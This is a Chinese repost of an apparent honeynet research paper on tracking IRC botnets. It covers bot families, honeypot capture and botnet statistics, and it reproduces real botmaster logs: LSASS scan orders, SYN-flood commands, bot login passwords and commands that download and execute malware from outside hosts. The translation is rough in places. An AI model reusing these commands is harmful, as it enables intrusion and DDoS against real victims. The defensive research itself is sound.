`
izuoyan
  • 浏览: 8881449 次
  • 性别: Icon_minigender_1
  • 来自: 上海
社区版块
存档分类
最新评论

悉数僵尸网络:知己知彼 百战不殆

阅读更多
僵尸计算机种类知多少

  研究中发现,网络中存在着各式各样的僵尸计算机类型。以下我们将讨论几种比较流行和危害面较大的僵尸类型。我们将介绍几种恶意软件的基本概念,然后再详尽的描述它们的特征。此外,我们还将描述僵尸的源代码以及它们的命令设置清单。

  1.Agobot/Phatbot/Forbot/XtremBot

  这些很可能是最出名的僵尸类型。目前,杀毒软件厂商Sophos已经查明了Agobot病毒的500多种变体,目前这一数字正在稳步增加。这一僵尸病毒本身是在跨站平台上用C++语言编程的,并且它的源代码是在通用性公开许可证(General Public License,简称GPL)准则之下的。Agobot是由Ago编写的,他化名为Wonk,这名德国男子在2004年的时候因为计算机犯罪被警方拘捕。Agobot的最新变体是以C++语言编程,但是它的设计更为抽象。这一僵尸病毒以一种非常复杂的模结构出现,很容易就可以利用计算机的漏洞执行扫描或是运行命令:延伸到CCommandHandler 或CScanner层级然后增加这一特征。Agobot利用libpcap(一种信息包嗅探库)和PCRE(Perl兼容正则表达式库,是个开放源代码的软件,可提供正则表达式支持)来嗅探和分析流量。Agobot可以利用NTFS(NT File System, Windows NT以上版本支持的一种文件系统)交替数据流(ADS),还可以提供像文件一样的Rootkit和进程来隐藏自己,这样受到威胁的计算机就难以发现了。除此之外,要反设计类似的恶意软件是很困难的,因为它包含有侦查调试器(譬如,SoftICE 和 OllyDbg,)和虚拟技术计算机的功能(譬如虚拟软件和虚拟PC)。Agobot是目前已知的唯一利用控制协议的病毒,其它病毒利用的一般是IRC(在线聊天系统)。利用在线聊天系统(IRC)的网络是有可能的。但是,Linux版本的操作系统可以侦查到受威胁的计算机的分布然后对脚本进行修正。

  2.SDBot/RBot/UrBot/UrXBot/...

  这种类型的恶意软件目前很是嚣张:在Sophos公司最近的十大网络警告中,有7个就是这一家族病毒的变体。SDBot是以非常简单的C语言写成的,也以GPL的形式出现。它是RBot, RxBot, UrBot, UrXBot, JrBot, ..或是其它病毒产生的母体。这种僵尸病毒的源代码设计的并不是太好。尽管如此,攻击者却对它情有独钟,目前也很是流行。它与Agobot有某些类似之处,但是它的命令设置以及执行的复杂程度都不能与Agobot同日而语。

  3.以mIRC为基础的僵尸和GT僵尸

  我们把所有的以mIRC为基础的僵尸都当作是GT僵尸病毒,因为它们的变体实在是数不胜数,要想摸清所有的变体是很困难的。mIRC本身就是Windows操作系统上非常流行的一款在线聊天系统程序。GT是Global Threat(全球威胁)的简称。对于所有的以mIRC为脚本的僵尸病毒都可以这样称呼。这些僵尸病毒利用一套脚本程序和二进位来利用mIRC在线聊天系统程序。其中有一种叫做HideWindow的可执行二进位程序会导致mIRC在线聊天系统程序对用户的屏蔽。其它一些二进位程序主要是与mIRC相联系的DLL,可能会加载新的特征,这样mIRC脚本就会被利用。mIRC脚本的后缀名一般是“.mrc”,通常是用来控制僵尸计算机的。GT僵尸病毒一般利用的是远程计算机的缺陷,然后将病毒上传到受威胁的主机上(一般来说文件大小超过1MB)。

  以上三中僵尸病毒类型在我们日常的使用中经常会出现,除此之外,还有一些少见的僵尸计算机病毒。其中一些僵尸病毒有一些很有趣的特征,因此在这里我们有必要提及一下。

  1. DSNX 僵尸病毒

  DSNX僵尸病毒以C++语言写成且有一个方便的插件界面。攻击者很容易就利用其重写扫描器将其作为插件然后扩展僵尸病毒的特征。此外,代码也以GPL的形式出现。但是这种僵尸病毒的致命伤就是:默认版本并不与任何扩展槽相适应。但是插件可以超越这一障碍。另外,插件亦可用于DDoS攻击,端口界面扫描,以及隐藏HTTP网页服务器。

  2.Q8 僵尸病毒

  Q8 僵尸病毒是一种很小的僵尸病毒,它只含有926个C代码。此外,一个明显的特征就是:它的对象主要是Unix/Linux操作系统,它执行所有僵尸病毒共有的特征:通过HTTP下载的动态上传,各式各样的DDoS攻击(譬如,SYN和UDP洪量攻击),执行未经审核的命令,等等。在我们检测到的版本中还不包括扩展功能。但是可以推断的就是现存的这一版本应该是包含扩展功能的。

  3.Kaiten

  这种病毒也缺乏扩展功能,也主要针对Unix/Linux操作系统。不够谨慎的用户授权会让kaiten非常容易的就劫持僵尸计算机。这一僵尸病毒本身只包含有一个文件,这样,使用wget就可以轻而易举的找到它的源代码,然后使用一个脚本就可以在一个受威胁的环境中编辑它。Kaiten提供了一种非常简单的远程攻击命令,因此通过检查远程漏洞来寻找网络访问权限一般是通过IRC(在线聊天系统)来实现的。

  4.Perl(一种GGl脚本)为基础的脚本

  目前有很多的版本,它们的基础仅仅就是使用Perl程序语言。一般来说,这些僵尸病毒很小,甚至只含有区区几百个代码而已。它们只是提供一些根本的命令(主要是DDoS攻击),主要针对Unix操作系统。

  僵尸病毒能做什么以及它们如何工作

  在介绍了几种僵尸病毒之后,我们接下来将详细阐述它们能干什么以及如何工作。这一部分主要是讲述僵尸病毒的传播以及它们是怎么样有僵尸牧者所控制的。

  在经过几次成功的试探之后,僵尸病毒会利用TFTP (一般的文件传输协议),FTP(.File Transfer Protocol , 文件传送[输]协议), HTTP(Hypertext Transfer Protocol, WWW服务程序所用的协议)以及CS终端(是一种基于在线聊天系统传输文件的方式,与DCC类似)等协议来将自己转嫁到受到威胁的计算机上。然后二进位机制被打开,接着尝试连接硬编码主控在线聊天系统服务器。一般来说提供的是动态域名(例如,来自于www.dyndns.org的一个域名)而不是一般的硬编码IP地址,因此僵尸病毒可以轻而易举的重新部署。一些僵尸病毒甚至可以自动的移动,如果它们知道某个服务器是本地主机或是秘密的二级网络的时候,这会指示一种异常的情况。使用一种奇怪的名字,譬如USA|743634 or [UrX]-98439854,僵尸病毒试着进入管理者渠道,有时甚至设置密码防止陌生人访问这个渠道。以下就是在感染之后的一个典型的通讯方式

<-:irc1.XXXXXX.XXXNOTICEAUTH:***Lookingupyourhostname...
  <-:irc1.XXXXXX.XXXNOTICEAUTH:***Foundyourhostname
  ->PASSsecretserverpass
  ->NICK[urX]-700159
  ->USERmltfvt00:mltfvt
  <-:irc1.XXXXXX.XXXNOTICE[urX]-700159:***Ifyouarehavingproblemsconnectingduetopingtimeouts,pleasetype/quotepongED322722or/rawpongED322722now.
  <-PING:ED322722
  ->PONG:ED322722
  <-:irc1.XXXXXX.XXX001[urX]-700159:Welcometotheirc1.XXXXXX.XXXIRCNetwork[urX]-700159!mltfvt@nicetry
  <-:irc1.XXXXXX.XXX002[urX]-700159:Yourhostisirc1.XXXXXX.XXX,runningversionUnreal3.2-beta19
  <-:irc1.XXXXXX.XXX003[urX]-700159:ThisserverwascreatedSunFeb818:58:312004
  <-:irc1.XXXXXX.XXX004[urX]-700159irc1.XXXXXX.XXXUnreal3.2-beta19iowghraAsORTVSxNCWqBzvdHtGplvhopsmntikrRcaqOALQbSeKVfMGCuzN

  之后,服务器会将其默认为客户,然后发送RPL_ISUPPORT, RPL_MOTDSTART, RPL_MOTD, RPL_ENDOFMOTD 或是 ERR_NOMOTD. 回应是以RPL_开头,包含有客户的信息,例如,RPL_ISUPPORT告诉客户服务器识别了哪一个特征,RPL_MOTD指示当天信息(Message Of The Day MOTD)。与此相对应,ERR_NOMOTD是错误的信息,如果没有出现MOTD。让我们来看一下答复信息。

<-:irc1.XXXXXX.XXX005[urX]-700159MAPKNOCKSAFELISTHCNMAXCHANNELS=25MAXBANS=60NICKLEN=30TOPICLEN=307KICKLEN=307MAXTARGETS=20AWAYLEN=307:aresupportedbythisserver
  <-:irc1.XXXXXX.XXX005[urX]-700159WALLCHOPSWATCH=128SILENCE=5MODES=12CHANTYPES=#PREFIX=(qaohv)~&@%+CHANMODES=be,kfL,l,psmntirRcOAQKVGCuzNSMNETWORK=irc1.XXXXXX.XXXCASEMAPPING=ascii:aresupportedbythisserver
  <-:irc1.XXXXXX.XXX375[urX]-700159:-irc1.XXXXXX.XXXMessageoftheDay-
  <-:irc1.XXXXXX.XXX372[urX]-700159:-20/12/20047:45
  <-:irc1.XXXXXX.XXX372[urX]-700159:--.+
  <-:irc1.XXXXXX.XXX372[urX]-700159:--+.
  <-:irc1.XXXXXX.XXX372[urX]-700159:--___.
  <-:irc1.XXXXXX.XXX372[urX]-700159:--._.--"~~__"-.
  <-:irc1.XXXXXX.XXX372[urX]-700159:--,-".-~~"-\.
  <-:irc1.XXXXXX.XXX372[urX]-700159:--..^/().
  <-:irc1.XXXXXX.XXX372[urX]-700159:--+{_.---._/~
  <-:irc1.XXXXXX.XXX372[urX]-700159:--/.Y.
  <-:irc1.XXXXXX.XXX372[urX]-700159:--/\_j+
  <-:irc1.XXXXXX.XXX372[urX]-700159:--.Y(--l__
  <-:irc1.XXXXXX.XXX372[urX]-700159:--|"-..
  <-:irc1.XXXXXX.XXX372[urX]-700159:--|(___.|.)~-.__/
  <-:irc1.XXXXXX.XXX372[urX]-700159:--..
  <-:irc1.XXXXXX.XXX372[urX]-700159:--l_)
  <-:irc1.XXXXXX.XXX372[urX]-700159:--.\"l
  <-:irc1.XXXXXX.XXX372[urX]-700159:--+\-\^.
  <-:irc1.XXXXXX.XXX372[urX]-700159:--.^."-.-Row.
  <-:irc1.XXXXXX.XXX372[urX]-700159:--"-._~-.___,
  <-:irc1.XXXXXX.XXX372[urX]-700159:--."--.._____.^
  <-:irc1.XXXXXX.XXX372[urX]-700159:--..
  <-:irc1.XXXXXX.XXX372[urX]-700159:--->Moon<-
  <-:irc1.XXXXXX.XXX376[urX]-700159:Endof/MOTDcommand.
  <-:[urX]-700159MODE[urX]-700159:+i

  通过修改RPL_ENDOFMOTD or ERR_NOMOTD, 僵尸计算机将试着加入他自己的专用通道并设置密码:

->JOIN#foobarchannelpassword
  ->MODE[urX]-700159+x

  僵尸收到来自于渠道的命令,然后将其转化为指令:

<- :irc1.XXXXXX.XXX 332 [urX]-700159 #foobar :.advscan lsass 200 5 0 -r -s
<- :[urX]-700159!mltfvt@nicetry JOIN :#foobar
<- :irc1.XXXXXX.XXX MODE #foobar +smntuk channelpassword

  绝大多数的僵尸网络使用如下命令:

".advscanlsass20050-r-s"
  ".http.updatehttp:///~mugenxu/rBot.exec:\msy32awds.exe1"

  第一个主题告诉我们,僵尸病毒的快速传播是在LSASS漏洞的帮助下实现的。200条协同的线应该以无限的时间 (叁数 0) 的 5 秒的延迟扫描。扫描应该是任意的 (叁数 -r) 和沈默的 (叁数 -s),如此由于状态报告来避免避免过多的流量。 与这相反, 可能主题的第二个例子教僵尸下载来自网络的二进位而且运行它 (叁数 1). 而且如果主题不包含任何的对僵尸计算机的指示,然后它就会在通道中消极的等待命令。对于目前的僵尸最根本的一点就是:如果僵尸牧者部发出命令,它们就难以传播。如果对僵尸计算机有几次成功的破坏的话,僵尸主人就会知道,如果它们被告知这样做的话。

->PRIVMSG#foobar:[lsass]:ExploitingIP:200.124.175.XXX
  ->PRIVMSG#foobar:[TFTP]:FiletransferstartedtoIP:200.124.175.XXX(C:\WINDOWS\System32\NAV.exe).

  接着IRC服务器(也叫做IRC邮件收发后台服务器,简称IRCd)将会提供渠道用户名单。但是绝大多数的僵尸牧者都会改进IRCd来发送渠道操作人员来减少流量以及将僵尸病毒的数量伪藏起来。

<-:irc1.XXXXXX.XXX353[urX]-700159@#foobar:@JAH
  <-:irc1.XXXXXX.XXX366[urX]-700159#foobar:Endof/NAMESlist.
  <-:irc1.XXXXXX.XXXNOTICE[urX]-700159:BOTMOTDFilenotfound
  <-:[urX]-700159MODE[urX]-700159:+x

  僵尸网络的控制者会设定授权来掌管所有僵尸病毒。这一授权是在命令前缀和"auth"命令的帮助下实现的。命令前缀用来在僵尸病毒中注册用户,之后他就拥有了授权,例如:

.loginleet0
  .laplmp-s

  就是在不同的僵尸病毒上运行的命令来批准控制者。再者,最后一例中以"-s"为尾的转换中会使僵尸病毒保持禁止,特别是当授权用户的时候。其它的一些回应是这样的:

[MAIN]:Passwordaccepted.
  [r[X]-Sh0[x]]:.:(PasswordAccettata):.

  如果在你的网络中有10000台僵尸的话,这就会导致大量的异常流量。一旦攻击者获得授权,他们就可以控制这些僵尸做他们想做的任何事情:在受到威胁的计算机中寻找敏感信息,对个体或是一个组织发动DdoS攻击,或是通过键盘记录器来寻找PayPal 或eBay帐号信息,这只是一些可能的命令罢了,在之前我们已经介绍过了。在很多情况下,IRC服务器备用来将所有的僵尸计算机组成一个整体。这是因为通常在一个聊天系统中,攻击者无法成为一个完全意义上的管理员,因此他有必要建立一套自己的IRC服务器,这样更加具有灵活性。除此之外,我们还发现了一些其它很有趣的现象:只有初学者才使用IRCd部署僵尸网络。如果你使用1.200台名为rbot-<6-digits>来报道渠道中的扫描结果的话,那么你所做的一些违法乱纪之事就太过于明显了。有两种不同的IRC服务器软件的执行通常为僵尸网络所利用:虚拟IRCd和会议室(ConferenceRoom) :

  虚拟IRCd (http://www.unrealircd.com/)是一个跨站平台,因此利用轻易的在Windows 和Linux操作系统上运行。IRC服务器软件被拆除和改进来满足僵尸牧者的需求。一般的改进是剥离"JOIN", "PART" 和 "QUIT"渠道上的信息,从而避免不必的流量。除此外,"LUSERS"(关于连接计算机数量的信息)信息,"RPL_ISUPPORT"被移除来隐藏身份和僵尸网络的规模。我们最近观察到的一种新的win32二进位只是一种虚拟IRCd经过高度修正的版本,它被剥离和优化了一些特征。文件名表明这种修正过的IRCd能够为80.000台僵尸计算机服务:

  · cac8629c7139b484e4a19a53caaa6be0 UNREAL.3.2-m0dded-LyR.rar

  · 9dbaf01b5305f08bd8c22c67e4b4f729 Unreal-80k[MAX]users.rar

  · de4c1fbc4975b61ebeb0db78d1fba84f unreal-modded-80k-users-1.rar

  因为我们并不能组织有80.000台僵尸计算机的网络,在我们的小组中也没有80.0000台计算机,因此我们无法证实这一说法的准确性。但是可以肯定的是如此大规模的僵尸僵尸网络是网络犯罪分子用来发动所谓的“专业性攻击”利器。这一种网络的威胁相当之大,因为它占用大量的带宽,同时盗取大量的身份。

  ConferenceRoom(会议室http://www.webmaster.com/ )是一种商业的IRCd解决方案,但是僵尸网络可以利用有漏洞的ConferenceRoom版本来提供数以千计的同时链接的可能性,使用化名,信道注册,信任名单,以及服务器对服务器链接。

  令人惊讶的是我们发现微软的聊天服务器已经成为僵尸网络的主机,看起来运行相当稳定。

  因为使用僵尸网络的人动机基本都差不多(DDoS攻击或是其它形式的犯罪),每一个僵尸家族都有自己的一套指令来实现相同的目标。Agobot就是一个典型的例子:只要找到注册命令(RegisterCommand)的源头,就可以使用一整套特征描述得到所有的命令序列。由于缺乏统一清晰的规划,整个SDBot家族都很难分析。一般来说,同一个僵尸的指挥台是不断变化的,这样就使得自动分析执行命令变得不可能。

  怎么样跟踪僵尸网络

  在这一部分,我将详细介绍我们使用蜜罐(honeypot)观测和跟踪僵尸网络的思路。跟踪僵尸网络是一个多步操作:首先需要收集关于现有僵尸网络的数据,例如,这一步通过分析截获的恶意软件得到。下一步,与网络中的一台计算机挂钩,然后收集更多的信息。在这一章节的第一部分中,我们这样想介绍我们使用蜜罐收集必要信息的技术。之后,就可以将注意力集中于观察僵尸网络。

  在蜜罐的帮助下收集信息

  正如前面所指出的,我们需要得到一些僵尸网络的敏感信息,这样我们就可以在僵尸网络中设下我们的间谍。以下就是所要包含的信息:

  1IRC 服务器和端口数的DNS/IP(域名服务器和IP)地址

  2(可选的)IRC服务器的密码

  3僵尸的昵称以及漏洞结构

  4加入的通道以及(可选的)通道密码

  使用包含有一些Windows蜜罐和内嵌嗅探(snort_inline)的GenII蜜罐可以让我们轻而易举的收集类似信息。我们部署一个典型的GenII蜜罐,里面包含一些下表所描述的调制器

  

  这个Windows蜜罐是Windows 2000 或Windows XP没有下载补丁的版本。因此这一系统漏洞颇多,一般来说,不出几分钟就会感染僵尸病毒。它位于一个德国英特网服务提供商的dial-in网络中。一般说来,这一蜜罐的生命周期少于10分钟。在10分钟之后,蜜罐就自动的被恶意软件破坏了。这一短暂的受威胁时间只是区区几秒而已:一旦我们将网络线缆堵塞,SDBot就会通过TCP接口135威胁计算机,然后自动安装到计算机上。

  正如在前面所提到的,僵尸病毒一旦成功的感染一个蜜罐之后,它就会尝试链接IRC服务器来获得长远的控制命令。这就是密墙活动的地方,由于数据控制设施是安装在密墙之内的,因此是有可能控制外部流量的。我们使用snort_inline来寻求数据控制以及替代所有可疑的外部链接。如果连接包含有典型的IRC信息,诸如" 332 ", " TOPIC ", " PRIVMSG " 或" NOTICE ",那么这一连接就是可疑的。这样我们就可以从僵尸牧者接受有效命令的渠道来控制僵尸病毒。这样就对其它的计算机没有任何的威胁——我们已经在我们的蜜罐内部搜集到了一个僵尸。此外它还会产生一个边际效应,我们可以实时的从僵尸网络的数据中剥离出敏感信息。蜜墙的数据捕捉能力可以让我们准确的查明僵尸网络想要入侵的DNS/IP地址和相应的通道数。此外,我们还可以从数据捕捉中获得关于昵称和身份信息的日志。还有服务器的密码,通道名称,还有通道密码的获得也可以通过这一渠道获得。因此我们需要搜集所有必要的信息,蜜罐才能搜集更多的恶意软件。因为我们现在对于搜集恶意软件已经不存在问题,我们每24小时就重建一个蜜罐来保证我们每天有干净的系统。德国蜜罐计划目前正在关注另一项课题——获取引入的恶意软件和分析有效载荷——当然了,这一计划将在后面介绍。

  观察和监视僵尸网络

  现在跟踪僵尸网络的第二步计划就要开始了,我们将重新链接到一个僵尸网络中。因为我们搜集了所有必要的数据,这不是很困难。第一步,建立一个基于IRC客户程序的平台(irssi)或是其它的IRC客户机程序并尝试着链接这一网络。如果这个网络很小(里面包含的客户机少于50台),有可能你的客户机将要鉴别因为它对有效的命令并没有作出回应。在这一情况下,僵尸牧者很可能会禁止或是对可疑的客户机发动DDoS攻击。为避免被发现,你可以隐藏自己。将所有自动应答控制命令关闭将有助于实现隐藏的目的:如果你的客户机对"CTCP VERSION"信息的回应是"irssi 0.89 running on openbsd i368",那么使用Client-To-Client Protocol (CTCP)命令的攻击者就会起疑心。如果你没有被僵尸网络的控制者注意的话,你就可以记录所有的命令以及观察所有发生的一切。

  但是你使用这一方法的时候会面临很多的问题。有些僵尸网络使用的是完全剥离的IRCd,并不使用RFC (Request For Comments, 请求注解, Internet标准)标准,因此一般的IRC客户机很难连接到这个网络中。一个解决这个问题的可能就是找出僵尸牧者剥离的是什么,然后使用源代码修正来越过这一关。现行的几乎所有IRC客户机都缺乏完善的代码或是其它的缺点,很可能你不会通过编写你的IRC客户机程序来跟踪僵尸网络。欢迎加入我们的全体——我们的方法叫做Drone。在你编写你的客户机程序的时候,有些缺陷是你需要考虑的。以下就是我们在使用IRC客户机程序跟踪僵尸网络中发现的一些有用的特征:

  SOCKS v4 支持

  多服务器支持:如果你不想开始为你所发现的僵尸网络寻找软件实例的话,这是一个非常有用的特征。

  没有Threading:Threaded软件很难描述调试软件。

  开源链接和域名服务器溶解

  poll():使用non blocking I/O(输出/输入)来等待文件描述器上事件的发生。我们需要一个多路复合器,select()可以承担这一工作。

  libadns:这是一个异步域名服务器解决库。查找主机名称并不会妨碍你的代码即使查找会耗费一定的时间。有必要的话,你可以不使用线程。

  使用C++语言编程,因为OOP (Object Oriented Programming, 面向对象的程序设计)在编写多服务器程序方面有很多优点。

  模界面是你可以在运行时间之内,因此你可以上传和下载C++语言模块

  libcurl:这是使用URL句法传输文件的命令行工具,它支持多种版本的协议。Libcurl是一个具有与操作命令行类似的解决方案。

  Perl Compatible Regular Expressions (PCRE): PCRE有一整套功能使用诸如Perl 5句法和语法结构来执行常规的模式匹配表达。PCRE能使客户机程序来猜测命令意思,以及以某种本地的方式影响一些事件。

  由于过多的调试记录界面使得获取关于RFC不适应的问题具有了可能性,并且更快,还能在客户机程序中修正它们。(一天记录50台僵尸计算机可能会产生500MB的调试信息)

  Drone可以使用SOCKS v4代理,因此当我们再次遇到僵尸牧者发现我们的时候,我们就不用担心了。SOCKS v4代理在不同的网络中是拨号帐号,因此我们可以随时变更地址。Drone是在一台我们掌控的独立计算机上运行的。我们对所有向我们通过代理或是其它的人表示我们衷心的感谢。一些安全厂商公布了一些关于僵尸网络的数据。尽管这些信息很有用,但是它本身并不足以有效的跟踪僵尸网络,正如我们在Botnet Vendors中所演示的那样。

  有时,僵尸网络的所有者会发布一些命令来指导僵尸计算机。下一章节将会详细阐述最常用的命令。使用我们的方法,我们利用监控这些发布的命令并且深入研究攻击者的动机。为了进一步阐述我们的方法,我们试着编写一个关于僵尸计算机的以PCRE为基础的竞争这样我们的虚拟客户机就可以对给定的命令做出正确的回应。但是很快我们就发现这是不现实的,我们不得不将目标最小化,因为僵尸网络命令根本就没有一套固定命令标准,攻击者经常改变命令。很多情况下,命令回应语言甚至被翻译成他们的母语。

  当你监控多个网络的时候,首先应检查他们之间是否是相连的,并且尽可能将它们组织起来。连接检查很简单,只要在所有的网络中加入一个特殊的渠道,看看你能不能与多台客户机相连。令人吃惊的是,你发现很多网络都是相连的。人们喜欢为每一个他们检查的僵尸版本建一个DNS域名和渠道。为了对攻击者了解更多,你可以将攻击者的昵称输入到google中,你将会吃惊的发现很多信息。最后检查服务器的Regional Internet Registries (RIR)登录(RIPE NCC, ARIN, APNIC, and LACNIC)来得到关于攻击者的更多的消息。

  学到的经验教训:

  在这一部分中,我们将会把我们在观察僵尸网络中的一些发现与大家分享。数据被清理,以至于我们很难从对某一个系统的特定攻击中得出任何的结论,并且还会保护相关方面的身份和隐私。同样这篇论文的数据也是由在德国的德国蜜网计划搜集的,关于攻击细节和受到威胁的系统的信息被发送到位于德国汉堡的DFN-CERT(计算机安全响应小组)。以下将以我们最近几个月观察到的僵尸网络的数据开始:

  僵尸网络的数量

  在过去的4个月中,我们大概跟踪了100多个僵尸网络。其中一些处于休眠或是僵死状态(譬如主要的IRC服务器或是幼稚的攻击者),目前我们正在跟踪35个活跃的僵尸网络。

  主机的数量

  在过去的几个月中,在我们所监控的一个通道中,至少有226,585个不同的IP地址加入。能够看到IP就意味着IRCd并没有经过修正不向我们发送join (用子目录名取代驱动器符)信息。如果IRCd经过修正而不显示通道中参与的客户机的话,我们就不会看到IP地址。此外,一些IRCd会使通道中的客户机的IP地址紊乱,并且这些紊乱的IP地址并没有看起来那么有价值。这证明僵尸网络的威胁比我们当初预计的威胁要大的多。尽管我们非常乐观并且估计我们已经成功的跟踪了大部分的僵尸网络,并且我们所有监控的IRC服务器并没有被修正来隐藏JOIN或是混乱网络中的客户机的IP地址,这就是说有超过一百万台的主机受到威胁并且被恶意的攻击者所控制。我们现在知道了攻击者实际控制的僵尸数量超出了我们的预计,因为有些经过改良的IRC服务器根本就没有给出受控制的僵尸计算机的任何信息。

  僵尸网络的典型规模

  一些僵尸网络只有百来台僵尸计算机。但是与之相对的是,我们也观察到有些大型的僵尸网络中的僵尸的数量超过了50,000台。这样大规模的僵尸网络的真实规模是难以预计的。一般来说,僵尸牧者使用精心改良的IRC服务器,并且僵尸计算机分布在不同的IRC服务器中。我们使用IRCd之间的链接检查来侦查来自于同一个大型僵尸网络的僵尸网络之间的联系。这样我们就可以大约的估摸出僵尸网络的规模。请记住,在过去已有关于超过数以千计的僵尸的网络的报道。如果僵尸网络包含的相互连接的IRC服务器的数量超过5个,我们就可以说这个僵尸网络的规模将难以用数字表达,因为所有的IRCd都经过了改良。边注:我们曾经发现一台家用计算机曾经感染过16个不同的僵尸病毒,因此很难估计世界上僵尸计算机的总量。

  DDoS攻击的维度

  我们可以对目前的有僵尸网络导致的DDoS攻击的维度做一个有根据的推测。我们可以观察到由控制者发布的命令这样我们就可以知晓什么时间僵尸网络被用来发动这一攻击。从2004年11月到2005年一月末,我们观察到了针对99个不同目标的226个DDoS攻击。一般来说,他们攻击的是拨号上网网络,但是也有一些针对大型网站的攻击。为指出由这些攻击导致的威胁,我们搜集了一些DDoS攻击的数据。

  典型的DDoS攻击和如下的例子是类似的,控制者进入通道然后发布命令(有时甚至停止僵尸计算机数量的扩张)。在僵尸计算机做完这一工作之后,就会报道如下情形:

[###FOO###]<~nickname>.scanstop
  [###FOO###]<~nickname>.ddos.syn151.49.8.XXX21200
  [###FOO###]<-[XP]-18330>[DDoS]:Flooding:(151.49.8.XXX:21)for200seconds
  [...]
  [###FOO###]<-[2K]-33820>[DDoS]:Donewithflood(2573KB/sec).
  [###FOO###]<-[XP]-86840>[DDoS]:Donewithflood(351KB/sec).
  [###FOO###]<-[XP]-62444>[DDoS]:Donewithflood(1327KB/sec).
  [###FOO###]<-[2K]-38291>[DDoS]:Donewithflood(714KB/sec).
  [...]
  [###FOO###]<~nickname>.login12345
  [###FOO###]<~nickname>.ddos.syn213.202.217.XXX6667200
  [###FOO###]<-[XP]-18230>[DDoS]:Flooding:(213.202.217.XXX:6667)for200seconds.
  [...]
  [###FOO###]<-[XP]-18320>[DDoS]:Donewithflood(0KB/sec).
  [###FOO###]<-[2K]-33830>[DDoS]:Donewithflood(2288KB/sec).
  [###FOO###]<-[XP]-86870>[DDoS]:Donewithflood(351KB/sec).
  [###FOO###]<-[XP]-62644>[DDoS]:Donewithflood(1341KB/sec).
  [###FOO###]<-[2K]-34891>[DDoS]:Donewithflood(709KB/sec).
  [...]

  这两种攻击都显示了DDoS攻击的典型目标: 21/TCP端口上的FTP服务器或是6667/TCP端口上的IRC服务器.

  僵尸网络的扩展

  ".advscan lsass 150 5 0 -r -s"和其它的指令是我们观察到的最多的信息。通过这个以及相似的指令,僵尸网络扩展以及寻找有漏洞的系统。一般来说,Windows系统受到侵害,在一个典型的Windows端口(譬如基于文件共享的CIFS),我们可以看到绝大多数的流量。我们详细分析了这些信息,我们将在随后的关于僵尸网络传播中的专栏中谈及。

  信息的搜集

  有时我们可以看到来自于受威胁的计算机的信息搜集。在诸如".getcdkeys"指令的帮助下,僵尸牧者就能够对僵尸计算机上的CD-keys发出一系列的请求(如Windows和游戏)。这些CD-keys被兜售给一些心怀不轨的人,因为对于他们别有用心的目的来说,这些信息是很有价值的。尽管如此,这一操作极少出现。

  僵尸网络的升级

  我们检查会发现僵尸网络在不断的升级。这里的升级指的是僵尸计算机受指令下载软件,然后执行。以下就是几个类似的命令:

·.downloadhttp://spamateur.freeweb/space.com/leetage/gamma.exec:\windows\config\gamma.exe1
  ·.downloadhttp://www.spaztenbox.net/cash.exec:\arsetup.exe1-s
  ·!downhttp://www.angelfire.com/linuks/kuteless/ant1.xC:\WINDOWS\system32\drivers\disdn\anti.exe1
  ·!dloadhttp://www.angelfire.com/linuks/kuteless/ant1.xC:\firewallx.exe1
  ·.http.updatehttp://59.56.178.20/~mugenxur/rBot.exec:\msy32awds.exe1
  ·.http.updatehttp://m1cr0s0ftw0rdguy.freesuperhost.com/jimbo.jpg%temp%\vhurdx.exe-s

  (注:由于我们清除了这些链接因此代码不会意外的被下载或是执行)

  正如你所看到的那样,攻击者利用不同的网络空间提供者并且经常让下载的二进位紊乱。一旦它们被下载,命令中的参数"1"就会要求僵尸执行之。通过这种方式,僵尸计算机就能随时的升级并且让功能得到增强。我们也搜集到僵尸网络下载的恶意软件为我们的进一步分析提供了可能性。整体来说,正如"Kaspersky Anti-Virus On-Demand Scanner for Linux"(卡巴斯基Linux反病毒实时扫描器)中所显示的那样,我们搜集到的329个binaries. 201是恶意软件。

28Backdoor.Win32.Rbot.gen
  27Backdoor.Win32.SdBot.gen
  22Trojan-Dropper.Win32.Small.nm
  15Backdoor.Win32.Brabot.d
  10Backdoor.Win32.VB.uc
  8Trojan.WinREG.LowZones.a
  6Backdoor.Win32.Iroffer.b
  5Trojan.Win32.LowZones.q
  5Trojan-Downloader.Win32.Small.qd
  5Backdoor.Win32.Agobot.gen
  4Virus.Win32.Parite.b
  4Trojan.Win32.LowZones.p
  4Trojan.BAT.Zapchast
  4Backdoor.Win32.Wootbot.gen
  4Backdoor.Win32.ServU-based
  4Backdoor.Win32.SdBot.lt
  3Trojan.Win32.LowZones.d
  3Trojan-Downloader.Win32.Agent.gd
  2Virus.BAT.Boho.a
  2VirTool.Win32.Delf.d
  2Trojan-Downloader.Win32.Small.ads
  2HackTool.Win32.Clearlog
  2Backdoor.Win32.Wootbot.u
  2Backdoor.Win32.Rbot.af
  2Backdoor.Win32.Iroffer.1307
  2Backdoor.Win32.Iroffer.1221
  2Backdoor.Win32.HacDef.084
  1Trojan.Win32.Rebooter.n
  1Trojan.Win32.LowZones.ab
  1Trojan.Win32.KillFiles.hb
  1Trojan-Spy.Win32.Quakart.r
  1Trojan-Proxy.Win32.Ranky.aw
  1Trojan-Proxy.Win32.Agent.cl
  1Trojan-Downloader.Win32.Zdown.101
  1Trojan-Downloader.Win32.IstBar.gv
  1Trojan-Downloader.Win32.IstBar.er
  1Trojan-Downloader.Win32.Agent.dn
  1Trojan-Clicker.Win32.Small.bw
  1Trojan-Clicker.Win32.Agent.bi
  1Net-Worm.Win32.DipNet.f
  1HackTool.Win32.Xray.a
  1HackTool.Win32.FxScanner
  1Backdoor.Win32.Wootbot.ab
  1Backdoor.Win32.Wisdoor.at
  1Backdoor.Win32.Spyboter.gen
  1Backdoor.Win32.Rbot.ic
  1Backdoor.Win32.Rbot.fo
  1Backdoor.Win32.Optix.b
  1Backdoor.Win32.Agent.ds

  其它的一些binary文件可能是广告软件(一种在运行是展示标语以及将用户的使用习惯及相关信息告诉第三方),或是代理(一种在客户机和电脑服务器系统之间的处理过程)抑或是浏览器帮助插件。

  一个经常发生的事件就是有些人盗取别人的僵尸网络。当你观察到几个僵尸牧者之间互相攻击的时候,确实很有意思。正如前面所说,僵尸计算机通常是由一些敏感信息保护的,譬如,通道名称或是服务器密码。如果一个人能够获取这一切信息,他就可以在另外一个僵尸网络或是僵尸binary中升级僵尸,这样就吧其它僵尸网络中的僵尸拉拢过来了。譬如,不久之前,我们就观察到12号僵尸网络的控制者就从看似遗弃的25号僵尸网络中盗取僵尸。

